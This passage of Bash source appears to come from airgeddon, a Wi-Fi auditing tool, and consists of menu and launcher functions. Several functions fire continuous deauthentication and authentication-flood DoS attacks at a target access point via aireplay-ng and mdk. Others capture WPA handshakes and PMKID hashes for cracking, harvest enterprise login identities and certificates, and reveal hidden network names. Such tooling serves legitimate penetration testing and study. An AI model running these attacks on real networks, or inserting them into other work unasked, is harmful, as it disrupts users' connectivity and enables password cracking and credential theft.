				if [ "${enterprise_dirname}" != "${enterprisepot_suggested_dirname}" ]; then
					enterprise_completepath="${enterprise_potpath}${enterprisepot_suggested_dirname}/"
				else
					enterprise_completepath="${enterprise_potpath}"
					if [ "${enterprise_potpath: -1}" != "/" ]; then
						enterprise_completepath+="/"
					fi
				fi

				echo
				language_strings "${language}" 158 "yellow"
				return 0
			;;
			"certificates")
				enterprisecertspath="${pathname}"
				enterprisecerts_basepath=$(dirname "${enterprisecertspath}")

				if [ "${enterprisecerts_basepath}" != "/" ]; then
					enterprisecerts_basepath+="/"
				fi

				enterprisecerts_completepath="${enterprisecertspath}"
				if [ "${enterprisecertspath: -1}" != "/" ]; then
					enterprisecerts_completepath+="/"
				fi

				echo
				language_strings "${language}" 158 "yellow"
				return 0
			;;
		esac

		echo
		language_strings "${language}" 155 "yellow"
		return 0
	fi

	echo
	language_strings "${language}" 158 "yellow"
	return 0
}

#It checks for write permissions of a directory recursively
function dir_permission_check() {

	debug_print

	if [ -e "${1}" ]; then
		if [ -d "${1}" ] && check_write_permissions "${1}" && [ -x "${1}" ]; then
			return 0
		else
			return 1
		fi
	else
		dir_permission_check "$(dirname "${1}")"
		return $?
	fi
}

#Check for write permissions on a given path
function check_write_permissions() {

	debug_print

	if [ -w "${1}" ]; then
		return 0
	fi
	return 1
}

#Clean some special chars from strings usually messing with autocompleted paths
function fix_autocomplete_chars() {

	debug_print

	local var
	var=${1//\\/$''}

	echo "${var}"
}

#Create a var with the name passed to the function and reading the value from the user input
function read_and_clean_path() {

	debug_print

	local var
	settings="$(shopt -p extglob)"
	shopt -s extglob

	echo -en '> '
	var=$(read -re _var; echo -n "${_var}")
	var=$(fix_autocomplete_chars "${var}")
	local regexp='^[ '"'"']*(.*[^ '"'"'])[ '"'"']*$'
	[[ ${var} =~ ${regexp} ]] && var="${BASH_REMATCH[1]}"
	eval "${1}=\$var"

	eval "${settings}"
}

#Sanitize input used for paths
#shellcheck disable=SC2001
function sanitize_path() {

	debug_print

	local sanitized
	sanitized=$(echo "${1}" | sed 's/[^A-Za-z0-9._:\\-]/_/g')

	if [ -z "${sanitized}" ]; then
		sanitized="airgeddon_fallback_filename"
	fi

	echo "${sanitized}"
}

#Read and validate a path
function read_path() {

	debug_print

	echo
	case ${1} in
		"downgradepot")
			language_strings "${language}" 787 "green"
			read_and_clean_path "downgradepotenteredpath"
			if [ -z "${downgradepotenteredpath}" ]; then
				downgradepotenteredpath="${downgrade_potpath}"
			fi
			downgradepotenteredpath=$(set_absolute_path "${downgradepotenteredpath}")
			validate_path "${downgradepotenteredpath}" "${1}"
		;;
		"wpa3pot")
			language_strings "${language}" 762 "blue"
			read_and_clean_path "wpa3potenteredpath"
			if [ -z "${wpa3potenteredpath}" ]; then
				wpa3potenteredpath="${wpa3_potpath}"
			fi
			wpa3potenteredpath=$(set_absolute_path "${wpa3potenteredpath}")
			validate_path "${wpa3potenteredpath}" "${1}"
		;;
		"handshake")
			language_strings "${language}" 148 "green"
			read_and_clean_path "enteredpath"
			if [ -z "${enteredpath}" ]; then
				enteredpath="${handshakepath}"
			fi
			enteredpath=$(set_absolute_path "${enteredpath}")
			validate_path "${enteredpath}" "${1}"
		;;
		"cleanhandshake")
			language_strings "${language}" 154 "green"
			read_and_clean_path "filetoclean"
			check_file_exists "${filetoclean}"
		;;
		"pmkid")
			language_strings "${language}" 674 "green"
			read_and_clean_path "enteredpath"
			if [ -z "${enteredpath}" ]; then
				enteredpath="${pmkidpath}"
			fi
			enteredpath=$(set_absolute_path "${enteredpath}")
			validate_path "${enteredpath}" "${1}"
		;;
		"pmkidcap")
			language_strings "${language}" 686 "green"
			read_and_clean_path "enteredpath"
			if [ -z "${enteredpath}" ]; then
				enteredpath="${pmkidcappath}"
			fi
			enteredpath=$(set_absolute_path "${enteredpath}")
			validate_path "${enteredpath}" "${1}"
		;;
		"dictionary")
			language_strings "${language}" 180 "green"
			read_and_clean_path "DICTIONARY"
			check_file_exists "${DICTIONARY}"
		;;
		"targetfilefordecrypt")
			language_strings "${language}" 188 "green"
			read_and_clean_path "enteredpath"
			check_file_exists "${enteredpath}"
		;;
		"targethashcatenterprisefilefordecrypt")
			language_strings "${language}" 801 "green"
			read_and_clean_path "hashcatenterpriseenteredpath"
			check_file_exists "${hashcatenterpriseenteredpath}"
		;;
		"targetjtrenterprisefilefordecrypt")
			language_strings "${language}" 801 "green"
			read_and_clean_path "jtrenterpriseenteredpath"
			check_file_exists "${jtrenterpriseenteredpath}"
		;;
		"targethashcathashfilefordecrypt")
			language_strings "${language}" 801 "green"
			read_and_clean_path "hashcathashfileenteredpath"
			check_file_exists "${hashcathashfileenteredpath}"
		;;
		"rules")
			language_strings "${language}" 242 "green"
			read_and_clean_path "RULES"
			check_file_exists "${RULES}"
		;;
		"aircrackpot")
			language_strings "${language}" 441 "green"
			read_and_clean_path "aircrackpotenteredpath"
			if [ -z "${aircrackpotenteredpath}" ]; then
				aircrackpotenteredpath="${aircrack_potpath}"
			fi
			aircrackpotenteredpath=$(set_absolute_path "${aircrackpotenteredpath}")
			validate_path "${aircrackpotenteredpath}" "${1}"
		;;
		"jtrpot")
			language_strings "${language}" 611 "green"
			read_and_clean_path "jtrpotenteredpath"
			if [ -z "${jtrpotenteredpath}" ]; then
				jtrpotenteredpath="${jtr_potpath}"
			fi
			jtrpotenteredpath=$(set_absolute_path "${jtrpotenteredpath}")
			validate_path "${jtrpotenteredpath}" "${1}"
		;;
		"hashcatpot")
			language_strings "${language}" 233 "green"
			read_and_clean_path "potenteredpath"
			if [ -z "${potenteredpath}" ]; then
				potenteredpath="${hashcat_potpath}"
			fi
			potenteredpath=$(set_absolute_path "${potenteredpath}")
			validate_path "${potenteredpath}" "${1}"
		;;
		"asleappot")
			language_strings "${language}" 555 "green"
			read_and_clean_path "asleapenteredpath"
			if [ -z "${asleapenteredpath}" ]; then
				asleapenteredpath="${asleap_potpath}"
			fi
			asleapenteredpath=$(set_absolute_path "${asleapenteredpath}")
			validate_path "${asleapenteredpath}" "${1}"
		;;
		"ettercaplog")
			language_strings "${language}" 303 "green"
			read_and_clean_path "ettercap_logpath"
			if [ -z "${ettercap_logpath}" ]; then
				ettercap_logpath="${default_ettercap_logpath}"
			fi
			ettercap_logpath=$(set_absolute_path "${ettercap_logpath}")
			validate_path "${ettercap_logpath}" "${1}"
		;;
		"bettercaplog")
			language_strings "${language}" 398 "green"
			read_and_clean_path "bettercap_logpath"
			if [ -z "${bettercap_logpath}" ]; then
				bettercap_logpath="${default_bettercap_logpath}"
			fi
			bettercap_logpath=$(set_absolute_path "${bettercap_logpath}")
			validate_path "${bettercap_logpath}" "${1}"
		;;
		"ethandshake")
			language_strings "${language}" 154 "green"
			read_and_clean_path "et_handshake"
			check_file_exists "${et_handshake}"
		;;
		"writeethandshake")
			language_strings "${language}" 148 "green"
			read_and_clean_path "et_handshake"
			if [ -z "${et_handshake}" ]; then
				et_handshake="${handshakepath}"
			fi
			et_handshake=$(set_absolute_path "${et_handshake}")
			validate_path "${et_handshake}" "${1}"
		;;
		"et_captive_portallog")
			language_strings "${language}" 317 "blue"
			read_and_clean_path "et_captive_portal_logpath"
			if [ -z "${et_captive_portal_logpath}" ]; then
				et_captive_portal_logpath="${default_et_captive_portal_logpath}"
			fi
			et_captive_portal_logpath=$(set_absolute_path "${et_captive_portal_logpath}")
			validate_path "${et_captive_portal_logpath}" "${1}"
		;;
		"wpspot")
			language_strings "${language}" 123 "blue"
			read_and_clean_path "wpspotenteredpath"
			if [ -z "${wpspotenteredpath}" ]; then
				wpspotenteredpath="${wps_potpath}"
			fi
			wpspotenteredpath=$(set_absolute_path "${wpspotenteredpath}")
			validate_path "${wpspotenteredpath}" "${1}"
		;;
		"weppot")
			language_strings "${language}" 430 "blue"
			read_and_clean_path "weppotenteredpath"
			if [ -z "${weppotenteredpath}" ]; then
				weppotenteredpath="${wep_potpath}"
			fi
			weppotenteredpath=$(set_absolute_path "${weppotenteredpath}")
			validate_path "${weppotenteredpath}" "${1}"
		;;
		"enterprisepot")
			language_strings "${language}" 525 "blue"
			read_and_clean_path "enterprisepotenteredpath"
			if [ -z "${enterprisepotenteredpath}" ]; then
				enterprisepotenteredpath="${enterprise_potpath}"
			fi
			enterprisepotenteredpath=$(set_absolute_path "${enterprisepotenteredpath}")
			validate_path "${enterprisepotenteredpath}" "${1}"
		;;
		"certificates")
			language_strings "${language}" 643 "blue"
			read_and_clean_path "certificatesenteredpath"
			if [ -z "${certificatesenteredpath}" ]; then
				certificatesenteredpath="${enterprisecertspath}"
			fi
			certificatesenteredpath=$(set_absolute_path "${certificatesenteredpath}")
			validate_path "${certificatesenteredpath}" "${1}"
		;;
	esac

	validpath="$?"
	return "${validpath}"
}

#Launch the DoS selection menu before capture enterprise information gathering
function dos_info_gathering_enterprise_menu() {

	debug_print

	if [ "${return_to_enterprise_main_menu}" -eq 1 ]; then
		return
	fi

	clear
	language_strings "${language}" 749 "title"

	current_menu="dos_info_gathering_enterprise_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 521
	print_simple_separator
	language_strings "${language}" 139 mdk_attack_dependencies[@]
	language_strings "${language}" 140 aireplay_attack_dependencies[@]
	language_strings "${language}" 141 mdk_attack_dependencies[@]
	print_hint

	read -rp "> " attack_info_gathering_enterprise_option

	case ${attack_info_gathering_enterprise_option} in
		0)
			return
		;;
		1)
			if contains_element "${attack_info_gathering_enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				if [ "${1}" = "identities" ]; then
					ask_timeout "capture_identities"
				else
					ask_timeout "certificates_analysis"
				fi
				identities_certificates_capture_window "${1}"

				rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
				echo "${bssid}" > "${tmpdir}bl.txt"
				recalculate_windows_sizes
				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack"
				if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}"
					processidattack="${global_process_pid}"
					global_process_pid=""
				fi
				sleeptimeattack=12
				if [ "${1}" = "identities" ]; then
					launch_identities_capture
				else
					launch_certificates_analysis
				fi
			fi
		;;
		2)
			if contains_element "${attack_info_gathering_enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				if [ "${1}" = "identities" ]; then
					ask_timeout "capture_identities"
				else
					ask_timeout "certificates_analysis"
				fi
				identities_certificates_capture_window "${1}"

				iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
				recalculate_windows_sizes
				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack"
				if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}"
					processidattack="${global_process_pid}"
					global_process_pid=""
				fi
				sleeptimeattack=12
				if [ "${1}" = "identities" ]; then
					launch_identities_capture
				else
					launch_certificates_analysis
				fi
			fi
		;;
		3)
			if contains_element "${attack_info_gathering_enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				if [ "${1}" = "identities" ]; then
					ask_timeout "capture_identities"
				else
					ask_timeout "certificates_analysis"
				fi
				identities_certificates_capture_window "${1}"

				iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
				recalculate_windows_sizes
				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack"
				if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "${mdk_command} ${interface} a -a ${bssid} -m"
					processidattack="${global_process_pid}"
					global_process_pid=""
				fi
				sleeptimeattack=12
				if [ "${1}" = "identities" ]; then
					launch_identities_capture
				else
					launch_certificates_analysis
				fi
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	dos_info_gathering_enterprise_menu "${1}"
}

#Launch the DoS selection menu before capture a Handshake or decloak a network and process the captured file
function dos_handshake_decloaking_menu() {

	debug_print

	if [ "${return_to_handshake_pmkid_decloaking_tools_menu}" -eq 1 ]; then
		return
	fi

	clear
	if [ "${1}" = "decloak" ]; then
		language_strings "${language}" 732 "title"
	else
		language_strings "${language}" 138 "title"
	fi

	current_menu="dos_handshake_decloak_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 147
	print_simple_separator
	language_strings "${language}" 139 mdk_attack_dependencies[@]
	language_strings "${language}" 140 aireplay_attack_dependencies[@]
	language_strings "${language}" 141 mdk_attack_dependencies[@]
	print_hint

	read -rp "> " attack_handshake_decloak_option
	case ${attack_handshake_decloak_option} in
		0)
			return
		;;
		1)
			if contains_element "${attack_handshake_decloak_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				ask_timeout "capture_handshake_decloak"
				if [ "${1}" = "decloak" ]; then
					decloak_window
				else
					capture_handshake_window
				fi
				rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
				echo "${bssid}" > "${tmpdir}bl.txt"
				iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
				recalculate_windows_sizes
				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack"
				if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}"
					processidattack="${global_process_pid}"
					global_process_pid=""
				fi
				sleeptimeattack=12
				if [ "${1}" = "decloak" ]; then
					launch_decloak_capture
				else
					launch_handshake_capture
				fi
			fi
		;;
		2)
			if contains_element "${attack_handshake_decloak_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				ask_timeout "capture_handshake_decloak"
				if [ "${1}" = "decloak" ]; then
					decloak_window
				else
					capture_handshake_window
				fi
				iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
				recalculate_windows_sizes
				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack"
				if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}"
					processidattack="${global_process_pid}"
					global_process_pid=""
				fi
				sleeptimeattack=12
				if [ "${1}" = "decloak" ]; then
					launch_decloak_capture
				else
					launch_handshake_capture
				fi
			fi
		;;
		3)
			if contains_element "${attack_handshake_decloak_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				ask_timeout "capture_handshake_decloak"
				if [ "${1}" = "decloak" ]; then
					decloak_window
				else
					capture_handshake_window
				fi
				iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1
				recalculate_windows_sizes
				manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack"
				if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
					get_tmux_process_id "${mdk_command} ${interface} a -a ${bssid} -m"
					processidattack="${global_process_pid}"
					global_process_pid=""
				fi
				sleeptimeattack=16
				if [ "${1}" = "decloak" ]; then
					launch_decloak_capture
				else
					launch_handshake_capture
				fi
			fi
		;;
		*)
			invalid_menu_option
		;;
	esac

	dos_handshake_decloaking_menu "${1}"
}

#Enterprise certificates analysis launcher
function launch_certificates_analysis() {

	debug_print

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		processidattack=$!
		sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null
	else
		sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Certificates Analysis" &> /dev/null
	fi

	enterprise_certificates_check

	echo
	language_strings "${language}" 751 "blue"

	if check_certificates_in_capture_file; then
		echo
		language_strings "${language}" 162 "yellow"
		echo
		language_strings "${language}" 753 "blue"
		echo

		declare -A unique_fingerprints
		for certificate in "${certificates_array[@]}"; do
			fingerprint=$(printf '%s\n' "${certificate}" | openssl x509 -noout -fingerprint | cut -d'=' -f2)
			if [[ -z "${unique_fingerprints[$fingerprint]}" ]]; then
				unique_fingerprints[$fingerprint]=1
				printf '%s\n' "${certificate}" | openssl x509 -noout -serial -issuer -subject -startdate -enddate -fingerprint
				echo
			fi
		done

		language_strings "${language}" 115 "read"
		return_to_enterprise_main_menu=1
	else
		echo
		language_strings "${language}" 752 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Enterprise identities capture launcher
function launch_identities_capture() {

	debug_print

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		processidattack=$!
		sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null
	else
		sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Identities" &> /dev/null
	fi

	enterprise_identities_check

	echo
	language_strings "${language}" 744 "blue"

	if check_identities_in_capture_file; then
		echo
		language_strings "${language}" 162 "yellow"
		echo
		language_strings "${language}" 746 "blue"
		echo
		for identity in "${identities_array[@]}"; do
			echo "${identity}"
		done
		echo
		language_strings "${language}" 115 "read"
		return_to_enterprise_main_menu=1
	else
		echo
		language_strings "${language}" 745 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Decloak capture launcher
function launch_decloak_capture() {

	debug_print

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		processidattack=$!
		sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null
	else
		sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Decloaking" &> /dev/null
	fi

	decloak_check

	if check_essid_in_capture_file; then
		echo
		language_strings "${language}" 162 "yellow"
		echo
		language_strings "${language}" 736 "blue"
		language_strings "${language}" 115 "read"
		return_to_handshake_pmkid_decloaking_tools_menu=1
	else
		echo
		language_strings "${language}" 146 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Handshake capture launcher
function launch_handshake_capture() {

	debug_print

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		processidattack=$!
		sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null
	else
		sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Handshake" &> /dev/null
	fi

	handshake_capture_check

	check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid"
	case "$?" in
		"0")
			handshakepath="${default_save_path}"
			handshakefilename="handshake-${bssid}.cap"
			handshakepath="${handshakepath}${handshakefilename}"

			echo
			language_strings "${language}" 162 "yellow"
			validpath=1
			while [[ "${validpath}" != "0" ]]; do
				read_path "handshake"
			done

			cp "${tmpdir}${standardhandshake_filename}" "${enteredpath}"
			echo
			language_strings "${language}" 149 "blue"
			language_strings "${language}" 115 "read"
			return_to_handshake_pmkid_decloaking_tools_menu=1
		;;
		"1")
			echo
			language_strings "${language}" 146 "red"
			language_strings "${language}" 115 "read"
		;;
		"2")
			:
		;;
	esac
}

#Check if a Handshake is WPA2
function is_wpa2_handshake() {

	debug_print

	bash -c "aircrack-ng -a 2 -b \"${2}\" -w \"${1}\" \"${1}\" > /dev/null 2>&1"
	return $?
}

#Launch the Decloak window
function decloak_window() {

	debug_print

	echo
	language_strings "${language}" 734 "blue"
	echo
	language_strings "${language}" 735 "yellow"
	language_strings "${language}" 115 "read"
	echo
	language_strings "${language}" 325 "blue"

	rm -rf "${tmpdir}decloak"* > /dev/null 2>&1
	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Decloaking\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}decloak ${interface}" "Decloaking" "active"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}decloak ${interface}"
		processiddecloak="${global_process_pid}"
		global_process_pid=""
	else
		processiddecloak=$!
	fi
}

#Launch the Handshake capture window
function capture_handshake_window() {

	debug_print

	echo
	language_strings "${language}" 143 "blue"
	echo
	language_strings "${language}" 144 "yellow"
	language_strings "${language}" 115 "read"
	echo
	language_strings "${language}" 325 "blue"

	rm -rf "${tmpdir}handshake"* > /dev/null 2>&1
	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Capturing Handshake\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}" "Capturing Handshake" "active"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}handshake ${interface}"
		processidcapture="${global_process_pid}"
		global_process_pid=""
	else
		processidcapture=$!
	fi
}

#Launch enterprise identities capture/certificates analysis window
function identities_certificates_capture_window() {

	debug_print

	local window_title

	echo
	if [ "${1}" = "identities" ]; then
		language_strings "${language}" 743 "yellow"
		window_title="Capturing Identities"
	else
		language_strings "${language}" 750 "yellow"
		window_title="Certificates Analysis"
	fi
	language_strings "${language}" 115 "read"
	echo
	language_strings "${language}" 325 "blue"

	rm -rf "${tmpdir}identities_certificates"* > /dev/null 2>&1
	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"${window_title}\"" "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}identities_certificates ${interface}" "${window_title}" "active"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		get_tmux_process_id "airodump-ng -c ${channel} -d ${bssid} -w ${tmpdir}identities_certificates ${interface}"
		processidenterpriseidentitiescertificatescapture="${global_process_pid}"
		global_process_pid=""
	else
		processidenterpriseidentitiescertificatescapture=$!
	fi
}

#Launch the PMKID capture window
function launch_pmkid_capture() {

	debug_print

	ask_timeout "capture_pmkid"

	echo
	language_strings "${language}" 671 "yellow"
	language_strings "${language}" 115 "read"
	echo
	language_strings "${language}" 325 "blue"

	rm -rf "${tmpdir}pmkid"* > /dev/null 2>&1

	if compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_bpf_version}"; then

		tcpdump -i "${interface}" wlan addr3 "${bssid}" -ddd > "${tmpdir}pmkid.bpf"

		if [ "${target_band_id}" = "${band_6ghz}" ]; then
			hcxdumptool_band_modifier="c"
			hcxdumptool_band_name="6Ghz"
		elif [ "${target_band_id}" = "${band_5ghz}" ]; then
			hcxdumptool_band_modifier="b"
			hcxdumptool_band_name="5Ghz"
		else
			hcxdumptool_band_modifier="a"
			hcxdumptool_band_name="2.4Ghz"
		fi

		if compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_frequencies_version}"; then
			hcxdumptool_frequency="${channels_to_freq_correspondence["${hcxdumptool_band_name},${channel}"]}"
			hcxdumptool_parameters="-f ${hcxdumptool_frequency} --rds=1 --bpf=${tmpdir}pmkid.bpf -w ${tmpdir}pmkid.pcapng"
		else
			hcxdumptool_parameters="-c ${channel}${hcxdumptool_band_modifier} --rds=1 --bpf=${tmpdir}pmkid.bpf -w ${tmpdir}pmkid.pcapng"
		fi
	elif compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_filterap_version}"; then
		rm -rf "${tmpdir}target.txt" > /dev/null 2>&1
		echo "${bssid//:}" > "${tmpdir}target.txt"
		hcxdumptool_parameters="--enable_status=1 --filterlist_ap=${tmpdir}target.txt --filtermode=2 -o ${tmpdir}pmkid.pcapng"
	else
		rm -rf "${tmpdir}target.txt" > /dev/null 2>&1
		echo "${bssid//:}" > "${tmpdir}target.txt"
		hcxdumptool_parameters="--enable_status=1 --filterlist=${tmpdir}target.txt --filtermode=2 -o ${tmpdir}pmkid.pcapng"
	fi

	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g1_topright_window} -T \"Capturing PMKID\"" "timeout -s SIGTERM ${timeout_capture_pmkid} hcxdumptool -i ${interface} ${hcxdumptool_parameters}" "Capturing PMKID" "active"
	wait_for_process "timeout -s SIGTERM ${timeout_capture_pmkid} hcxdumptool -i ${interface} ${hcxdumptool_parameters}" "Capturing PMKID"

	if hcxpcapngtool -o "${tmpdir}${standardpmkid_filename}" "${tmpdir}pmkid.pcapng" | grep -Eq "PMKID(\(s\))? written" 2> /dev/null; then
		pmkidpath="${default_save_path}"
		pmkidfilename="pmkid-${bssid}.txt"
		pmkidpath="${pmkidpath}${pmkidfilename}"

		echo
		language_strings "${language}" 162 "yellow"
		validpath=1
		while [[ "${validpath}" != "0" ]]; do
			read_path "pmkid"
		done

		cp "${tmpdir}${standardpmkid_filename}" "${enteredpath}" > /dev/null 2>&1

		echo
		language_strings "${language}" 673 "blue"
		ask_yesno 684 "yes"
		if [ "${yesno}" = "y" ]; then
			if hash tshark 2> /dev/null; then
				tshark -r "${tmpdir}pmkid.pcapng" -R "(wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol && wlan.addr==${bssid})" -2 -w "${tmpdir}pmkid_transformed.cap" -F pcap > /dev/null 2>&1

				pmkidcappath="${default_save_path}"
				pmkidcapfilename="pmkid-${bssid}.cap"
				pmkidcappath="${pmkidcappath}${pmkidcapfilename}"

				validpath=1
				while [[ "${validpath}" != "0" ]]; do
					read_path "pmkidcap"
				done

				cp "${tmpdir}pmkid_transformed.cap" "${enteredpath}" > /dev/null 2>&1

				echo
				language_strings "${language}" 673 "blue"
				language_strings "${language}" 115 "read"
			else
				echo
				language_strings "${language}" 685 "red"
				language_strings "${language}" 115 "read"
			fi
		fi
	else
		echo
		language_strings "${language}" 672 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Manage target exploration and parse the output files
function explore_for_targets_option() {

	debug_print

	echo
	language_strings "${language}" 103 "title"
	language_strings "${language}" 65 "green"

	if ! check_monitor_enabled "${interface}"; then
		echo
		language_strings "${language}" 14 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	echo
	language_strings "${language}" 66 "yellow"
	echo

	local cypher_filter
	if [ -n "${1}" ]; then
		cypher_filter="${1}"
		case ${cypher_filter} in
			"WEP")
				#Only WEP
				language_strings "${language}" 67 "yellow"
			;;
			"WPA1")
				#Only WPA including WPA/WPA2 in Mixed mode
				#Not used yet in airgeddon
				:
			;;
			"WPA2")
				#Only WPA2 including WPA/WPA2 and WPA2/WPA3 in Mixed mode
				#Not used yet in airgeddon
				:
			;;
			"WPA3")
				#Only WPA3 including WPA2/WPA3 in Mixed mode
				language_strings "${language}" 758 "yellow"
			;;
			"WPA")
				#All, WPA, WPA2 and WPA3 including all Mixed modes
				if [[ -n "${2}" ]] && [[ "${2}" = "enterprise" ]]; then
					language_strings "${language}" 527 "yellow"
				else
					language_strings "${language}" 215 "blue"
					echo
					language_strings "${language}" 361 "yellow"
				fi
			;;
		esac
		cypher_cmd=" --encrypt ${cypher_filter} "
	else
		cypher_filter=""
		cypher_cmd=" "
		language_strings "${language}" 366 "yellow"
	fi
	language_strings "${language}" 115 "read"

	rm -rf "${tmpdir}nws"* > /dev/null 2>&1
	rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1

	if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then
		scan_6ghz_enabled=0
		airodump_band_modifier="--band bg"
	elif [ "${interfaces_band_info['main_wifi_interface','6Ghz_allowed']}" -eq 1 ]; then
		scan_6ghz_enabled=1
		ask_yesno 815 "no"
		if [ "${yesno}" = "y" ]; then
			airodump_freqs=""
			for ch in "${channels_24ghz_list[@]}"; do
				airodump_freqs+="${channels_to_freq_correspondence["2.4Ghz,${ch}"]},"
			done
			for ch in "${channels_5ghz_list[@]}"; do
				airodump_freqs+="${channels_to_freq_correspondence["5Ghz,${ch}"]},"
			done
			for ch in "${channels_6ghz_list[@]}"; do
				airodump_freqs+="${channels_to_freq_correspondence["6Ghz,${ch}"]},"
			done
			airodump_freqs="${airodump_freqs%,}"
			airodump_band_modifier="-C ${airodump_freqs}"
		else
			scan_6ghz_enabled=0
			airodump_band_modifier="--band abg"
		fi
	else
		scan_6ghz_enabled=0
		airodump_band_modifier="--band abg"
	fi

	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Exploring for targets\"" "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} ${airodump_band_modifier}" "Exploring for targets" "active"
	wait_for_process "airodump-ng -w ${tmpdir}nws${cypher_cmd}${interface} ${airodump_band_modifier}" "Exploring for targets"
	targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' "${tmpdir}nws-01.csv" 2> /dev/null)
	targetline=$((targetline - 1))
	head -n "${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}nws.csv"
	tail -n +"${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}clts.csv"

